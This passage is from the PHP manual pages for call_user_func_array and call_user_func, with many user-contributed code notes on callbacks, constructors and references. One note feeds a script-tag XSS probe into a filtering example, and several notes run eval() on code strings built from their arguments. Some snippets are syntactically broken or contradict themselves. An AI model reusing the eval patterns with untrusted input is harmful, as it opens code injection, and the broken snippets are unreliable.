        case 0: $c->{$a}(); break;
        case 1: $c->{$a}($p[0]); break;
        case 2: $c->{$a}($p[0], $p[1]); break;
        case 3: $c->{$a}($p[0], $p[1], $p[2]); break;
        case 4: $c->{$a}($p[0], $p[1], $p[2], $p[3]); break;
        case 5: $c->{$a}($p[0], $p[1], $p[2], $p[3], $p[4]); break;
        default: call_user_func_array(array($c, $a), $p);  break;
    }
}
?>
orestes at orestescarracedo dot com 05-Nov-2010 01:24
It's not commented above:

This function behaves as call_user_func. To call a method of a class instace, instead of passing the function name as the first argument, pass an array like ($classInstance, 'methodName')

<?php
public class Person {
    private $name = null;
    private $pocketContents= null;

    protected function __construct() {
        $this->name = 'My creator was too lazy to name me';
    }
    public function getName() {
        return $this->name;
    }
    public function setName($name) {
        $this->name = $name;
    }
    public function getPocketContents() {
        return $this->$pocketContents;
    }
    public function setPocketContents() {
        $args = func_get_args();
        $this->$pocketContents = $args;
    }
}

$contents = array();
$contents[0] = 'random';
$contents['foo'] = 'bar';

$subobject = array();
$subobject['param'] = 'value';
$contents['subobject'] = $subobject;

call_user_func(($myInstance, 'setPocketContents'), $contents);
?>
hinom06 [at] hotmail.co.jp 14-Sep-2010 09:27
<?php

/*
Usage sample to apply any filter in a string.
*/

class Strings
{
    function Foo( $v, $allow = '' )
    {
        return strip_tags( $v, $allow );
    }

    // add an element at the beginning of an array
    // thanks for Vidal Rodríguez
    // http://www.php.net/manual/en/function.array-push.php#98299
    function ArrayRpush( $arr, $item )
    {
      return array_pad( $arr, -( count( $arr ) + 1 ), $item );
    }

}

Class Functions
{

    function Call( $f )
    {
        return call_user_func_array( $f[0], $f[1] );

        /* usage sample:
            //
            // calling function
            Functions::Call( 'strip_tags', array( '<br>foo<br>bar</b>', '<br><b>' ) );

            // calling object
            Functions::Call( array( 'Strings', 'StripTags' ), array( '<br>foo<br>bar</b>', '<br><b>' ) );
        */
    }

}

$form = array(
            'field' => array(
                            'value'         => '<b>foo bar</b><br><script>alert("1");</script>',
                            'pre-filter'    => array( array( 'Strings', 'Foo' ) , array( '<b><br>' ) ),
                            ),
            );

$v    = $form['field'];
$f    = $v['pre-filter'];
$f[1] = isset( $v['pre-filter'][1] ) ? Strings::ArrayRpush( $f[1], $v['value'] ) : $f[1] = array( $v['value'] );

echo Functions::Call( $f );

?>
Kris dot Craig at gmail dot com 16-Jun-2010 03:28
Many people have wondered how to effectively implement dispatch tables in PHP.  Here's my answer to that (if you'll forgive my creative flair):

<?php

/*
 * Using dispatch tables in PHP.
 *
 * --Kris Craig
 */

define( "YOUR_MOTHER",  1 );
define( "YOUR_FATHER",  2 );
define( "YOUR_BROTHER", 3 );
define( "YOUR_SISTER",  4 );

class MyFamily
{
    static $dispatch = array( YOUR_MOTHER => "Mom", YOUR_FATHER => "GetPrisonInmate", YOUR_BROTHER => "ReplaceName", YOUR_SISTER => "LazyGirl" );
    static $args = array( YOUR_MOTHER => array(), YOUR_FATHER => array( "55170-054", TRUE ), YOUR_BROTHER => array(), YOUR_SISTER => array() );

    function GetDispatch( $fromwhere )
    {
        return call_user_func_array( array( self, self::$dispatch[$fromwhere] ), self::$args[$fromwhere] );
    }

    function Mom()
    {
        return "Mommy loves you!";
    }

    function GetPrisonInmate( $PrisonerID, $GoodBehavior )
    {
        //Check prison records for his ID, then....

        if ( $GoodBehavior )
        {
            $parole = "APPROVED";
        }
        else
        {
            $parole = "DENIED";
        }

        return "Your father (#$PrisonerID) has $remaining years left in his sentence.  His most recent parole application has been:  $parole";
    }

    function ReplaceName()
    {
        return "Her name is Sally now.";
    }

    function LazyGirl()
    {
        print "Your sister needs to get out more....";

        //sleep( pow( 60, 2 ) * 18 );  //You can sleep later!

        die( "Nah, I'm too tired." );
    }
}

print "Status on family member: " . MyFamily::GetDispatch( YOUR_FATHER );

?>
noone at example dot com 21-Apr-2010 03:03
For those of you that have to consider performance: it takes about 3 times as long to call the function this way than via a straight statement, so whenever it is feasible to avoid this method it's a wise idea to do so.

Note that eval() is about 10 times slower than a straight statement to call a function with arguments, so this is definitely a better option than using eval() even if you only consider performance.
Guy Paddock 15-Apr-2010 02:14
It appears that it is safe to pass an associative array in for $param_arr. The parameters will still be passed in the order the elements appear in the array, not alphabetical key order.
kweejee at gmail dot com 22-Jan-2010 08:04
I recently had
<?php
  call_user_func_array('MyClass::myFunction', array(0, 10));
?>
working on my home server, but when I uploaded it to a host with a different version of PHP it stopped working and gave the error message "call_user_func_array() [function.call-user-func-array]: Unable to call MyClass::myFunction()" The solution I found was to use this instead:
<?php
  call_user_func_array(array('MyClass', 'myFunction'), array(0, 10));
?>
aj at ajbrown dot org 22-Dec-2009 07:30
Just a heads up, the second parameter MUST be an array if it's specified,  but that doesn't seem to be enforced until ~5.3.

I just pulled my hair out with an old installation of CakePHP because it was passing NULL instead of an empty array.
mrextreme at freemail dot hu 07-Dec-2009 08:34
If you are using PHP < 5.3 and want to call the parent class' __construct() with a variable parameter list, use this:

<?php
public function __construct()
{
    $vArgs = func_get_args(); // you can't just put func_get_args() into a function as a parameter
    call_user_func_array(array('parent', '__construct'), $vArgs);
}
?>
dmitry dot revenko at businessmedia dot ru 25-Sep-2009 05:28
Just hope this note helps someone (I killed the whole day on issue).

If you use something like this in PHP < 5.3:
<?php call_user_func_array(array($this, 'parent::func'), $args); ?>
Such a script will cause segmentation fault in your webserver.

In 5.3 you should write it:
<?php call_user_func_array('parent::func', $args); ?>
al dot james at NOSPAMGMAIL dot com 17-Jun-2009 03:19
If you want to use call_user_func_array to call an objects constructor, this works for me:

<?php
$obj = new $object_class();
call_user_func_array(array($obj, '__construct'), $args);
?>

(However it does depend on having a constructor where all arguments are optional, which may or may not be possible)

So this is a two part initiation, the object gets initiated with no arguments first (hence requiring options constructor params), and then __construct gets called again. Thus, you should not do anything in your constructor that triggers effects outside the class... it should just set the objects state.
Damin 13-Jun-2009 12:06
Those having the passing by reference issue can use this simple hack.
I´m really not sure WHY this works, but it does, and it does not make use of EVAL or other questionable functions.
<?php
    function executeHook($name, $type='hooks'){
        $args = func_get_args();
        array_shift($args);
        array_shift($args);
        //Rather stupid Hack for the call_user_func_array();
        $Args = array();
        foreach($args as $k => &$arg){
            $Args[$k] = &$arg;
        }
        //End Hack
        $hooks = &$this->$type;
        if(!isset($hooks[$name])) return false;
        $hook = $hooks[$name];
        call_user_func_array($hook, $Args);
    }
?>

All it´s doing is copying the args ($args) into a new array ($Args) by reference, which i would think would be identical to the original array in every way (that matters).

Note the code here is an example of usage. The actual hack is denoted by comments.
If someone knows a better alternative, by all means, i would love to see it.
Freek (at) Gruntjes.net 07-Apr-2009 01:53
I just noticed that when you use this function with parameters that need to be passed by reference it will not work.

<?php
function refFunc(&$var)
{
  $var .= 'bar';
}

$var = 'foo';
?>

call_user_func_array('refFunc', array($var));
echo $var;

will output 'foo' and not  'foobar'. Witch is logical since you are declaring a new variable with array($var) however not so obvious.
thiago dot henrique dot mata at gmail dot com 22-Jul-2008 02:17
<?php
Class Delegate
{
    private $arrInstances = array();

    protected function addObject( $oElement )
    {
        // add one element on the end of the stack  //
        $this->arrInstances[] = $oElement;
    }

    public function __call( $strMethod, $arrParams )
    {
        // for each element in instance //
        foreach( $this->arrInstances as $oElement )
        {
            // get the class of the element //
            $strClass = get_class( $oElement );
            // get all methods of the class  //
            $arrMethods = get_class_methods( $strClass );
            // case the method exists into this class  //
            if( in_array( $strMethod , $arrMethods ) )
            {
                // prepare caller //
                $arrCaller = Array( $strClass , $strMethod );
                // return the result of the method into the object  //
                return call_user_func_array( $arrCaller, $arrParams );
            }
        }
        // any object has the method //
        // throw a exception //
        throw new Exception( " Method " . $strMethod . " not exist in this class " . get_class( $this ) . "." );
    }
}

class Log
{
    public function sayHi()
    {
        print "hi!" . "<br/>\n";
    }

    public function sayMyName()
    {
        print "log" . "<br/>\n";
    }
}

class Other
{
    public function sayHello()
    {
        print "hello there!" . "<br/>\n";
    }

    public function sayMyName()
    {
        print "other" . "<br/>\n";
    }
}

class Example extends Delegate
{
    public function __construct()
    {
        $this->addObject( new Log() );
        $this->addObject( new Other() );
    }
}

$oExample = new Example();
$oExample->sayHi();
$oExample->sayHello();
$oExample->sayMyName();

/*
    hi!<br/>
    hello there!<br/>
    log<br/>
*/
?>
dnhuff at acm.org 07-Jun-2008 11:57
It appears that when PHP executes something like:

$a = array(1,2,3);
$b =& $a[1];

both $b and $a[1] are converted into references to a common value -- makes sense until you transfer that to a call_user_func:

call_user_func_array('foo', $a);

suddenly, inside foo, the second parameter is passed by reference!

And you can't call this wrong, only another subtly of references.

Note it appears that ksort($a) will remove the reference as well as put the elements in key order so you (probably) get what you expect. (see below on the use of a foreach ($a as &v).)
dnhuff at acm.org 07-Jun-2008 11:38
the order of argument correspondence from the array to the function formal parameters is by 'natural order' of the array and not explicit numerical key order.

So: $a[0] = 'arg 1'; $a[2] = 'arg 2'; $a[1] = 'arg 3';
    call_user_func_array('foo', $a);

delivers the args to foo in the order the keys were inserted! as in...
    foo($a[0], $a[2], $a[1]);

if you wanted something else, ksort the array first.
aeolianmeson at 8n54tvv dot blitzeclipse dot com 27-May-2008 08:48
There's a possibility that call_user_func_array(), call_user_func(), and Exception::getTrace() will cause a trace entry to not have the 'file' or 'line' elements.

Dustin Oprea
richard_harrison at rjharrison dot org 11-Apr-2007 02:31
If you are thinking of using call_user_func_array to instantiate an object (see comments below using Reflection) then since v5.1.3 you can use the Reflection::newInstanceArgs() method.

<?php

// arguments you wish to pass to constructor of new object
$args = array('a', 'b');

// class name of new object
$className = 'myCommand';

// make a reflection object
$reflectionObj = new ReflectionClass($className);

// use Reflection to create a new instance, using the $args
$command = $reflectionObj->newInstanceArgs($args);

// this is the same as: new myCommand('a', 'b');
?>
levi at alliancesoftware dot com dot au 08-Feb-2007 02:50
Regarding the comments below about calling parent constructors:

PHP5 with E_STRICT no longer allows calls as below:

<?php
// Causes an error with E_STRICT
call_user_func_array(array('parent', '__construct'), $args);
?>

It gives an error because you are trying to call a nonstatic function as if it was static. The correct syntax is

<?php
// Works fine
call_user_func_array(array($this, 'parent::__construct'), $args);
?>
15-May-2006 02:43
For those wishing to implement call-by-name functionality in PHP, such as implemented e.g. in DB apis, here's a quick-n-dirty version for PHP 5 and up
<?php
/**
 * Call a user function using named instead of positional parameters.
 * If some of the named parameters are not present in the original function, they
 * will be silently discarded.
 * Does no special processing for call-by-ref functions...
 * @param string $function name of function to be called
 * @param array $params array containing parameters to be passed to the function using their name (ie array key)
 */
function call_user_func_named($function, $params)
{
    // make sure we do not throw exception if function not found: raise error instead...
    // (oh boy, we do like php 4 better than 5, don't we...)
    if (!function_exists($function))
    {
        trigger_error('call to unexisting function '.$function, E_USER_ERROR);
        return NULL;
    }
    $reflect = new ReflectionFunction($function);
    $real_params = array();
    foreach ($reflect->getParameters() as $i => $param)
    {
        $pname = $param->getName();
        if ($param->isPassedByReference())
        {
            /// @todo shall we raise some warning?
        }
        if (array_key_exists($pname, $params))
        {
            $real_params[] = $params[$pname];
        }
        else if ($param->isDefaultValueAvailable()) {
            $real_params[] = $param->getDefaultValue();
        }
        else
        {
            // missing required parameter: mark an error and exit
            //return new Exception('call to '.$function.' missing parameter nr. '.$i+1);
            trigger_error(sprintf('call to %s missing parameter nr. %d', $function, $i+1), E_USER_ERROR);
            return NULL;
        }
    }
    return call_user_func_array($function, $real_params);
}
?>
eugene at artprime dot ru 23-Dec-2005 02:59
<?php
  return call_user_func_array(
    array(new ReflectionClass($className), 'newInstance'),
    $functionParameters
  );
?>

Look here: http://www.zend.com/zend/week/week182.php#Heading1
crocodile2u at yandex dot ru 20-Dec-2005 05:06
Here is another version of createObjArray() function written here earlier by taylor.

Believing that using 'eval()' is at least "dirty", I came to the following solution (with a help of panchous - at phpclub dot ru forums ). This solution utilizes the new Reflection API.

<?php
function & createObjArray($type, $args = array()) {
    $reflection = new ReflectionClass($type);
    $output     = call_user_func_array(array(&$reflection, 'newInstance'), $args);
    return $output;
}
?>
Egor 15-Nov-2005 09:35
Note that, despite the name, this does work on builtin functions (and object methods with the array(&$obj, $method) syntax), not just user-defined functions and methods.
rrant (at) gmail (dot) com 10-Nov-2005 03:50
Just an extra for the post of amer at o2 dot pl:

If you need to call the PARENT method:
call_user_func_array(array('parent', 'method'), $args);

With that, if you need to call a constructor and/or add some extra code to the instantiation process:

<?php
function __construct() {
    // Get the arguments
    $args = func_get_args();
    // Initialize parent with arguments
    call_user_func_array(array('parent', '__construct'), $args);
    // ... Your Code Here ...
}
?>

Note that your constructor pass all the arguments to the parent constructor and it doesn't matter how many arguments you pass.

This is pretty useful for constructors with a variable number of arguments.
taylor 02-Jun-2005 05:51
I came up with a better solution to the problem that I solve below with createObjArray that maintains parameter type:

<?php

function createObjArray($type,$args=array()) {
     $paramstr = '';
     for ($i = 0; $i < count($args); $i++) {
           $paramstr .= '$args['.$i.'],';
     }
     $paramstr = rtrim($paramstr,',');

     return eval("return new $type($paramstr);");
}

?>

Would be good to add error checking, but it works.
taylor 07-May-2005 03:04
<?php
    /**
     * Create an object of a specified type using an array as the parameters
     * to the constructor.  NOTE: does not maintain proper
     * types for the arguments.  They are all converted to strings.
     * @param $type Type type of object to create (class name)
     * @param $args The arguments to pass to the constructor
     */
    function createObjArray($type, $args=array()) {
        if ( !class_exists($type) ) {
            return NULL;
        }

        // build argument list; be sure to escape string delimeters
        $func = create_function('$str', 'return str_replace("\'","\\\'",$str);');
        $sargs = "'" . join( "','", array_map($func,$args) ). "'";

        // build & eval code; return result
        $seval = "return new $type($sargs);";
        return eval($seval);
    }
?>
amer at o2 dot pl 20-Jan-2005 02:44
PLS notice that "patripaq at hotmail dot com" 's code will be valid if B EXTENDS A...
<?php
class B extends A{
...
}
?>
there>>"What I wanted to do is create an object that can manage any number and any kind of parameters."

BUT IT IS NOT A POINT AT ALL

If you need to call just function with parameters:
call_user_func_array('Foo',$args);

If you need to call CLASS method (NOT object):
call_user_func_array(array('class', 'Foo'),$args);

If you need to call OBJECT method:
call_user_func_array(array(&$Object, 'Foo'),$args);

If you need to call method of object of object:
call_user_func_array(array(&$Object->Object, 'Foo'),$args);

If you need to call object method from within the very same object (NOT CLASS!):
call_user_func_array(array(&$this, 'Foo'),args);

The call_user_func_array ITSELF can manage any number and any kind of parameters. It can handle ANY FUNCTION too as it is defined and that maybe partipaq wanted to manage.

What You actually need is object composition not inheritance. Make an instance from arguments.
<?php
...
class B{
   function __construct() {
      $args = func_get_args(); // Get arguments
      $this->OBJ = new A($args);
      call_user_func_array(array(&$this->OBJ, 'A'), $args );
   }
}
?>
Then there can be any number and any type of created object B parameters
james at gogo dot co dot nz 21-Nov-2004 05:19
Be aware the call_user_func_array always returns by value, as demonstrated here...

<?php
    function &foo(&$a)
    {
      return $a;
    }

    $b = 2;
    $c =& call_user_func_array('foo', array(&$b));
    $c++;
    echo $b . ' ' . $c;
?>

outputs "2 3", rather than the expected "3 3".

Here is a function you can use in place of call_user_func_array which returns a reference to the result of the function call.

<?php
    function &ref_call_user_func_array($callable, $args)
    {
        if(is_scalar($callable))
        {
            // $callable is the name of a function
            $call = $callable;
        }
        else
        {
            if(is_object($callable[0]))
            {
                // $callable is an object and a method name
                $call = "\$callable[0]->{$callable[1]}";
            }
            else
            {
                // $callable is a class name and a static method
                $call = "{$callable[0]}::{$callable[1]}";
            }
        }

        // Note because the keys in $args might be strings
        // we do this in a slightly round about way.
        $argumentString = array();
        $argumentKeys = array_keys($args);
        foreach($argumentKeys as $argK)
        {
            $argumentString[] = "\$args[$argumentKeys[$argK]]";
        }
        $argumentString = implode($argumentString, ', ');
        // Note also that eval doesn't return references, so we
        // work around it in this way...
        eval("\$result =& {$call}({$argumentString});");
        return $result;
    }
?>
php at pjt33 dot f2g dot net 25-Oct-2004 05:31
Note that, although it doesn't say so here or in the linked page with information about the callback type, the changelog ( http://www.php.net/ChangeLog-4.php#4.0.5 ) states that call_user_func_array in PHP 4.0.4 won't take an array as the first argument. This was added in 4.0.5.
patripaq at hotmail dot com 06-Aug-2004 03:49
I just started using PHP 5.0 and, so far, I'm loving it !  However, I had a problem the other day and thought it would be a good idea to inform other programmers about the solution I found to get around it.  It concerns the new __constructor() function and the call_user_func_array() function.  What I wanted to do is create an object that can manage any number and any kind of parameters.  Here's the problematic code:

<?php
//--------------------------
class A {
  function __construct() {
    $args = func_get_args(); // Get arguments
    // Class initialization...
  }
  function A() {
    $args = func_get_args(); // Get arguments
    call_user_func_array( array(&$this, '__construct'), $args ); // Infinite loop to B::__construct()...
  }
}

class B {
  function __construct() {
    $args = func_get_args(); // Get arguments
    call_user_func_array( array(&$this, 'A'), $args ); // Initialize parent with arguments
    // Class initialization...
  }
}

$obj = new B( 'param1', 'param2' );
//--------------------------
?>

I suppose you can guess where the problem is located... In the A::A() function, the call to __construct() using call_user_func_array() is redirected to B::__construct() instead of A::__construct().  The only way I found to specify which constructor function I wanted to call was to stop using A::__construct() and use the old fashion constructor instead.  If anyone can find a better way, feel free to add comments.  Here's my solution.  Hope it helps anyone.

<?php
//--------------------------
class A {
  function A() {
    $args = func_get_args(); // Get arguments
    // Class initialization...
  }
}

class B {
  function __construct() {
    $args = func_get_args(); // Get arguments
    call_user_func_array( array(&$this, 'A'), $args ); // Initialize parent with arguments
    // Class initialization...
  }
}

$obj = new B( 'param1', 'param2' );
//--------------------------
?>
hong dot nguyen at k-edge dot com 02-Apr-2004 09:37
call_user_func_array can pass parameters as reference:

<?php
call_user_func_array(array(&$obj,$method),array(&$arg1,$arg2,$arg3))
?>

Use it as work-around for "Call-time pass-by-reference has been deprecated".
adamh at densi dot com 31-Jul-2003 11:58
call_user_func_array() is nifty for calling PHP functions which use variable argument length. For example:

<?php
$array = array(
 array("foo", "bar"),
 array("bat", "rat"),
);

$values = call_user_func_array("array_merge", $array);

var_dump($values);
?>

/* output:
array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "bat"
  [3]=>
  string(3) "rat"
}
*/

The neat feature is that $array could have any number of arrays inside it.
gord at fig dot org 06-May-2003 04:30
If you need to call object and class methods in PHP < 4.0.4, the following code ought to do the trick:

<?php
if (!function_exists('call_user_func_array')) {
    function call_user_func_array($func, $args)
    {
        $argString = '';
        $comma = '';
        for ($i = 0; $i < count($args); $i ++) {
            $argString .= $comma . "\$args[$i]";
            $comma = ', ';
        }

        if (is_array($func)) {
            $obj =& $func[0];
            $meth = $func[1];
            if (is_string($func[0])) {
                eval("\$retval = $obj::\$meth($argString);");
            } else {
                eval("\$retval = \$obj->\$meth($argString);");
            }
        } else {
            eval("\$retval = \$func($argString);");
        }
        return $retval;
    }
}
?>
nutbar at innocent dot com 12-Mar-2003 12:29
This function, combined with some others, can allow you to make some really easy & generic function macros (since real macros don't exist in PHP yet).

<?php
function my_printf() {
   $args = func_get_args();
   return call_user_func_array('printf', $args);
}
?>

This allows you to use my_printf() just as if it were printf() itself.  Very useful since you don't have to worry about how many arguments any functions take.
NOSPAM dot dont dot remove at thekid dot de 22-Jun-2002 04:19
Unified constructors in PHP4:

<?php
  class Object {
    function Object() {
      $args= func_get_args();
      call_user_func_array(array(&$this, '__construct'), $args);
    }

    function __construct($args= NULL) {
      var_dump($args);
    }
  }

  class Exception extends Object {
    var
      $message;

    function __construct($message) {
      $this->message= $message;
      parent::__construct();
    }
  }

  class IOException extends Exception {
  }

  var_dump(
    error_reporting(),
    zend_version(),
    phpversion()
  );

  $c= new IOException('file not found');

  echo '===> Result: '; var_dump($c);
?>
Function handling Functions
call_user_func
Function handling Functions


Call the callback given by the first parameter

call_user_func_array
create_function
Function handling Functions
PHP Manual

call_user_func

(PHP 4, PHP 5)

call_user_func — Call the callback given by the first parameter

Description

mixed call_user_func ( callback $callback [, mixed $parameter [, mixed $... ]] )

Calls the callback given by the first parameter and passes the remaining parameters as arguments.

Parameters

callback

The callback to be called.

parameter

Zero or more parameters to be passed to the callback.

Note:

Note that the parameters for call_user_func() are not passed by reference.

Example #1 call_user_func() example and references

<?php
error_reporting(E_ALL);
function increment(&$var)
{
    $var++;
}

$a = 0;
call_user_func('increment', $a);
echo $a."\n";

call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3
echo $a."\n";
?>

The above example will output:

0
1

Return Values

Returns the return value of the callback, or FALSE on error.

Changelog

Version | Description
5.3.0 | The interpretation of object oriented keywords like parent and self has changed. Previously, calling them using the double colon syntax would emit an E_STRICT warning because they were interpreted as static.

Examples

Example #2 call_user_func() example

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>

The above example will output:

You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

Example #3 call_user_func() using namespace name

<?php

namespace Foobar;

class Foo {
    static public function test() {
        print "Hello world!\n";
    }
}

call_user_func(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0
call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); // As of PHP 5.3.0

?>

The above example will output:

Hello world!
Hello world!

Example #4 Using a class method with call_user_func()

<?php

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>

The above example will output:

Hello!
Hello!
Hello!

Example #5 Using lambda function with call_user_func()

<?php
call_user_func(function($arg) { print "[$arg]\n"; }, 'test'); /* As of PHP 5.3.0 */
?>

The above example will output:

[test]

Notes

Note:

Callbacks registered with functions such as call_user_func() and call_user_func_array() will not be called if there is an uncaught exception thrown in a previous callback.

See Also

  • call_user_func_array() - Call a callback with an array of parameters
  • is_callable() - Verify that the contents of a variable can be called as a function
  • information about the callback type
  • ReflectionFunction::invoke() - Invokes function
  • ReflectionMethod::invoke() - Invoke

User Contributed Notes

dexen dot devries at gmail dot com 04-Nov-2011 05:00
In PHP v5.2, you /can/ use call_user_func(array($this, 'parent::SOME_FUNCTION')).

If you don't have custom __autoload() function, you are good to go.

If you do have custom __autoload(), you need to make it `parent' aware. Something like:

<?php
function __autoload($classname) {
  if ($classname === 'parent')
    return;
  else
    //((load class definition))
}
?>

Rationale: PHP 5.2 surprisingly tries to autoload a class named `parent'. However, if you don't do anything in __autoload() for the `parent' class, it'll work just fine.
Gavin 23-Sep-2011 02:48
If using call_user_func() to pass resources (e.g. pipes created by proc_open), pass them using an array or object containing the resources, instead of "naked".

Bad: call_user_func($callback, $pipes[0], $pipes[1], $pipe[2]);

Good: Bad: call_user_func($callback, $pipes);

Passing the variables containing resource ids in the "bad" example above appears to work, but can cause troubles later when trying to close STDIN ($pipe[0] for example), and then read the output of the spawned child from $pipes[1].  The child process may or may not hang in read(), as reported by strace, even though the passed resources look valid, and the fclose on the stdin resource returns true.

Switching to the "good" example above solved the issue above for me.

Peace to you.
blakerenton09 at yahoo dot com 06-Jun-2011 04:45
call_user_func may also be used to call a closure or anonymous function that has been passed into a user-defined function.

<?php
function Benchmark()
{
    foreach(func_get_args() as $function)
    {
        $st = microtime(true);
        call_user_func($function);
        $et = microtime(true);
        echo sprintf("Time: %f", $et - $st) . '<br />';
    }
}

Benchmark(function()
{
    for ( $i = 0; $i <= 10000; $i++ )
    { }
},
function()
{
    $i = 0;
    while ( $i <= 10000 )
    {
        $i++;
    }
});
?>

Returns:
Time: 0.001652
Time: 0.001458
romainbessuges at gmail dot com 09-May-2011 05:50
I made a wrapper for call_user_func_array which is really simple and convenient. It takes advantage of the __invoke() magic method :

<?php
class Func {

    public static function fromFunction($name){
        return new Func($name);
    }

    public static function fromClassMethod($class, $name){
        return new Func(array($class, $name));
    }

    public static function fromObjectMethod($object, $name){
        return new Func(array($object, $name));
    }

    public $function;

    public function  __construct($function) {
        $this->function = $function;
    }

    public function __invoke(){
        return call_user_func_array($this->function, func_get_args());
    }
}
?>

Example :

<?php
$func = Func::fromObjectMethod($myArrayObject, "offsetGet");

echo $func(3);
?>
gskluzacek dot nospam at gmail dot com 11-Sep-2010 10:38
if you simply want to dynamically call a method on an object it is not necessary to use call_user_function but instead you can do the following:

<?php

$method_name = "AMethodName";

$obj = new ClassName();

$obj->{$method_name}();

?>

I've used the above so I know it works.

Regards,
-- Greg
moisadoru at gmail dot com 13-May-2010 08:49
Actually, when calling a static method of some class, the params are sent by reference:
<?php
class Foo {
    private $x = 0;
    public function getX(){
        return $this->x;
    }
    public function setX($val){
        $this->x = $val;
    }
}

class Bar {
    static function incStatic(Foo $f){
        $f->setX($f->getX()+1);
        global $foo;
        if($f === $foo) echo '<span style="color: blue">' . __METHOD__ . '() objects are equal</span><br />';
        else  echo '<span style="color: red">' . __METHOD__ . '() objects are not equal</span><br />';
    }
    public function incNonStatic(Foo $f){
        $f->setX($f->getX()+1);
        if($f === $foo) echo '<span style="color: blue">' . __METHOD__ . '() objects are equal</span><br />';
        else  echo '<span style="color: red">' . __METHOD__ . '() objects are not equal</span><br />';
    }
}

function inc(Foo $f){
    $f->setX($f->getX()+1);
    if($f === $foo) echo '<span style="color: blue">' . __FUNCTION__ . '() objects are equal</span><br />';
    else  echo '<span style="color: red">' . __FUNCTION__ . '() objects are not equal</span><br />';
}

$foo = new Foo;
$bar = new Bar;

call_user_func('inc', $foo);
call_user_func('Bar::incStatic', $foo);
call_user_func(array($bar, 'incNonStatic'), $foo);
?>

The results on PHP 5.2.6 (macosx 10.5):

inc() objects are not equal
Bar::incStatic() objects are equal
Bar::incNonStatic() objects are not equal

Hope it helps sombody.
Nitrogen 04-Oct-2009 04:08
A good use for call_user_func(); is for recursive functions.
If you're distributing code, you will often come across users who will rename functions and break the code..
Use this: call_user_func(__FUNCTION__, ... ); inside a function to call itself with whatever parameters you want.

<?php
// example, an extremely simplified factorial calculator..
// it's quite obvious when someone renames the function, it'll spit out an error because it wants to call itself.
function Factorial($i=1) {
  return($i==1?1:$i*Factorial($i-1));
}

// you can give this function whatever name you want, it'll always work, of course if you initially call it using the name you gave it.
function qwertyuiop($i=1) {
  return($i==1?1:$i*call_user_func(__FUNCTION__,$i-1));
}
?>

Just that I didn't see any reference to recursive functions when user_call_func(); really helps.
edgar dot klerks at gmail dot com 17-Mar-2009 07:18
An entirely OO solution to add dynamicly methods to classes, I used in a project:
<?php
class ProductPart {

        protected $data;
        protected $plugins = array();
        function __construct($data){

                $this->data = $data;

        }
        public function register(ProductPlugin $plugin){

                if(!in_array($plugin, $this->plugins)){

                        $this->plugins[$plugin->toString()] = $plugin;
                } else {
                        throw new Exception('Function allready defined');
                }
        }
        public function unregister(ProductPlugin $plugin){
                if(isset($this->plugins[$plugin->toString()])){
                        unset($this->plugins[$plugin->toString()]);
                } else {
                        throw new Exception('No such function');
                }

        }

        protected function __call($method, $args) {
              if(isset($this->plugins[$method])){
                array_unshift(&$args, $this->data);
                array_unshift(&$args, $this);
                return $this->plugins[$method]->run($args[0], $args[1], $args[2]);

              } else {
                throw new Exception('No such function');
              }
        }
} ?>

I simplified the class somewhat for clearity.

With this class, you can dynamicly add and remove classes by calling register or unregister. Register will store the object in an associative array by calling toString (as defined by ProductPlugin) and saving the method under the returned string in the array. (In this case the name of the method the class adds.)

When a method is called, which isn't standard in the object, _call will lookup the called method in the array. If found, __call run the method of the plugin with the provided arguments. I restricted the user provided argument to 1, because I want to force the user to use associative arrays.

Because I chose an array to store my classes, removing a function is quite simple. However the unregister function isn't optimal, I better pass a string instead of a plugin object. I didn't test it yet on performance.

The ProductPlugin class:

<?php

abstract class ProductPlugin {
        protected $name = null;
        abstract public function run($obj, $data, $args);
        public function __construct($data = null) {

                if($this->name === null){
                        throw new Exception('Name must be defined');
                }
                $this->init($data);
        }
        protected function init($data){

        }
        public function toString(){
                return $this->name;
        }
}

?>

And at last some demonstration code:

<?php
$bla = new ProductPart(array('HelloWorld' => 'Hello world'));
$hello = new helloPlugin();
$bla->register($hello);
$bla->HelloWorld();
$bla->unregister($hello);
$bla->HelloWorld();

?>
dead,screamer@seznam,cz 21-Dec-2008 08:50
<?php call_user_func()?> and <?php call_user_func_array()?> hide some errors (notices, warnings and maybe errors), even if is display_errors turned on and error_Reporting is set to E_ALL|E_STRICT
Maxdamantus 03-Nov-2007 10:26
Note that the parser can interpret variables in function syntax, which means you can pass all variables normally (eg: reference).

<?php
function myfunction($string, &$int){
    echo $string."\n";
    $int++;
}
$function_name = "myfunction";
$x = 1336;
$function_name("Hello World", $x);
echo $x;
?>
---
Hello World
1337
chris at NOSPAM dot panospheric dot com 22-Sep-2007 07:37
I am looking for a way to make dynamic method calls on objects. I may have overlooked other posts but here is the example anyway.

<?php

class MyClass1 {

   var $input1 = 4;
   var $input2 = 5;

   function MyClass1(){}

   function adding() {

   $var1 = $this->input1;
   $var2 = $this->input2;

   $result = $var1 + $var2;

   return $result;
   }

}

class MyClass2 {

   var $anotherObject;

   function MyClass2($anotherObject){

     $this->anotherObject = &$anotherObject;

   }

}

?>

Now we will call a method of object of object:

<?php

$myclass1Object =& New MyClass1();

$myclass2Object =& New MyClass2(&$myclass1Object);

$output =  $myclass2Object->anotherObject->adding();

echo $output; //outputs 9 if all is well

?>

Now we want to do it dynamically that works in PHP 4 and 5. There are two ways of doing this.

First Method using variable variables:

<?php

$objectName = 'myclass2Object';  //case sensitive.
$anotherObject = 'anotherObject';//case sensitive
$functionName = 'adding';

$output = $$objectName->{$anotherObject}->{$functionName}();

echo $output; //will output 9 as well

?>

Now the same using call_user_func():

<?php

$output = call_user_func(array(&$$objectName->{$anotherObject},$functionName));

echo $output; //outputs 9 as well

?>

If you have a method of an object of an object that requires parameters you can do this:

<?php

call_user_func(array(&$objectName->{$anotherObject},$functionName), $arg1, $arg2);

?>

I hope this might be helpful to someone.

Cheers.
